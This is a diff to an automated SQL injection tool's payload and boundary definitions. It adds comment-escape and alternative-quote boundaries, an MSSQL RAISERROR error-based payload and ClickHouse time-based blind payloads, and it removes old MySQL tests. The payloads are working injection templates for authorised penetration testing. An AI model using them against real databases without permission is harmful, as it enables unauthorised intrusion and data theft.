turkdevops · pull · Jul 20, 2026 · Jul 20, 2026 · Jul 20, 2026 · Jul 20, 2026
diff --git a/data/txt/catalog-identifiers.tx_ b/data/txt/catalog-identifiers.tx_
diff --git a/data/txt/catalog-identifiers.txt b/data/txt/catalog-identifiers.txt
diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml
@@ -55,6 +55,8 @@ Tag: <boundary>
             4: Double quoted string
             5: LIKE double quoted string
             6: Identifier (e.g. column name)
+            7: Block comment
+            8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]')
 
     Sub-tag: <prefix>
         A string to prepend to the payload.
@@ -342,14 +344,6 @@ Formats:
         <suffix>[GENERIC_SQL_COMMENT]</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1,2</where>
-        <ptype>2</ptype>
-        <prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>[GENERIC_SQL_COMMENT]</suffix>
-    </boundary>
 
     <boundary>
         <level>4</level>
@@ -414,33 +408,6 @@ Formats:
         <suffix>)+'</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)||</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>2</ptype>
-        <prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)||</suffix>
-    </boundary>
-
-    <boundary>
-        <level>5</level>
-        <clause>9</clause>
-        <where>1</where>
-        <ptype>1</ptype>
-        <prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>)+</suffix>
-    </boundary>
-
     <!-- End of pre-WHERE generic boundaries -->
 
     <!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
@@ -453,14 +420,6 @@ Formats:
         <suffix>[GENERIC_SQL_COMMENT]</suffix>
     </boundary>
 
-    <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1,2</where>
-        <ptype>2</ptype>
-        <prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>[GENERIC_SQL_COMMENT]</suffix>
-    </boundary>
 
     <boundary>
         <level>5</level>
@@ -502,20 +461,24 @@ Formats:
         <level>4</level>
         <clause>1</clause>
         <where>1</where>
-        <ptype>1</ptype>
+        <ptype>6</ptype>
         <prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
         <suffix>[GENERIC_SQL_COMMENT]</suffix>
     </boundary>
 
+    <!-- End of pre-WHERE derived table boundaries -->
+
+    <!-- Block-comment escape: injection point sits INSIDE /* ... */ (e.g. a query tag / trace / tenant
+         annotation). '*/' terminates the app comment, the test runs, '/*' re-opens a comment that the
+         app's original '*/' closes. Inert (stays inside the literal) when the value is not in a comment. -->
     <boundary>
-        <level>5</level>
-        <clause>1</clause>
-        <where>1</where>
-        <ptype>1</ptype>
-        <prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
-        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+        <level>4</level>
+        <clause>1,2,3</clause>
+        <where>1,2</where>
+        <ptype>7</ptype>
+        <prefix>*/</prefix>
+        <suffix>/*</suffix>
     </boundary>
-    <!-- End of pre-WHERE derived table boundaries -->
 
     <!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
     <boundary>
@@ -550,7 +513,7 @@ Formats:
         <level>5</level>
         <clause>7</clause>
         <where>1</where>
-        <ptype>3</ptype>
+        <ptype>6</ptype>
         <prefix> [RANDSTR1],</prefix>
         <suffix> [RANDSTR2]</suffix>
     </boundary>
@@ -565,4 +528,48 @@ Formats:
         <suffix>#</suffix>
     </boundary>
     <!-- End of AGAINST boolean full-text search boundaries -->
+
+    <!-- Alternative quoted string delimiters where ' and " have no terminating effect:
+         PostgreSQL $$...$$ dollar quoting, Oracle q'[...]' / q'{...}' / q'(...)' / q'<...>'. -->
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>$$</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>]'</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>}'</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>)'</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <boundary>
+        <level>5</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>8</ptype>
+        <prefix>&gt;'</prefix>
+        <suffix>[GENERIC_SQL_COMMENT]</suffix>
+    </boundary>
+    <!-- End of alternative quoted string boundaries -->
 </root>
diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml
@@ -1109,46 +1109,6 @@ Tag: <test>
         </details>
     </test>
 
-    <test>
-        <title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
-        <stype>1</stype>
-        <level>3</level>
-        <risk>1</risk>
-        <clause>2,3</clause>
-        <where>1</where>
-        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
-        <request>
-            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
-        </request>
-        <response>
-            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&lt; 5.0</dbms_version>
-        </details>
-    </test>
-
-    <test>
-        <title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
-        <stype>1</stype>
-        <level>4</level>
-        <risk>1</risk>
-        <clause>2,3</clause>
-        <where>1</where>
-        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
-        <request>
-            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
-        </request>
-        <response>
-            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&lt; 5.0</dbms_version>
-        </details>
-    </test>
-
     <test>
         <title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
         <stype>1</stype>
@@ -1445,27 +1405,6 @@ Tag: <test>
         </details>
     </test>
 
-    <test>
-        <title>MySQL &lt; 5.0 boolean-based blind - Stacked queries</title>
-        <stype>1</stype>
-        <level>5</level>
-        <risk>1</risk>
-        <clause>1-8</clause>
-        <where>1</where>
-        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
-        <request>
-            <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
-            <comment>#</comment>
-        </request>
-        <response>
-            <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-            <dbms_version>&lt; 5.0</dbms_version>
-        </details>
-    </test>
-
     <test>
         <title>PostgreSQL boolean-based blind - Stacked queries</title>
         <stype>1</stype>

diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
@@ -996,7 +996,7 @@
     <test>
         <title>MySQL &gt;= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
         <stype>2</stype>
-        <level>2</level>
+        <level>5</level>
         <risk>1</risk>
         <clause>1,2,3,4,5</clause>
         <where>1</where>
@@ -1589,6 +1589,26 @@
     <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
 
     <!-- Error-based tests - stacking -->
+    <test>
+        <title>Microsoft SQL Server error-based - Stacking (RAISERROR)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE(([QUERY]),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</vector>
+        <request>
+            <payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
         <stype>2</stype>

diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml
@@ -207,7 +207,7 @@
         <title>PostgreSQL &lt; 8.2 stacked queries (Glibc - comment)</title>
         <stype>4</stype>
         <level>3</level>
-        <risk>1</risk>
+        <risk>3</risk>
         <clause>1-8</clause>
         <where>1</where>
         <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
@@ -229,7 +229,7 @@
         <title>PostgreSQL &lt; 8.2 stacked queries (Glibc)</title>
         <stype>4</stype>
         <level>5</level>
-        <risk>1</risk>
+        <risk>3</risk>
         <clause>1-8</clause>
         <where>1</where>
         <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>

diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
@@ -1494,6 +1494,44 @@
         </details>
     </test>
 
+    <test>
+        <title>ClickHouse AND time-based blind (sleepEachRow)</title>
+        <stype>5</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
+        <request>
+            <payload>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>ClickHouse OR time-based blind (sleepEachRow)</title>
+        <stype>5</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1,2,3</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
+        <request>
+            <payload>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+
     <test>
         <title>ClickHouse AND time-based blind (heavy query)</title>
         <stype>5</stype>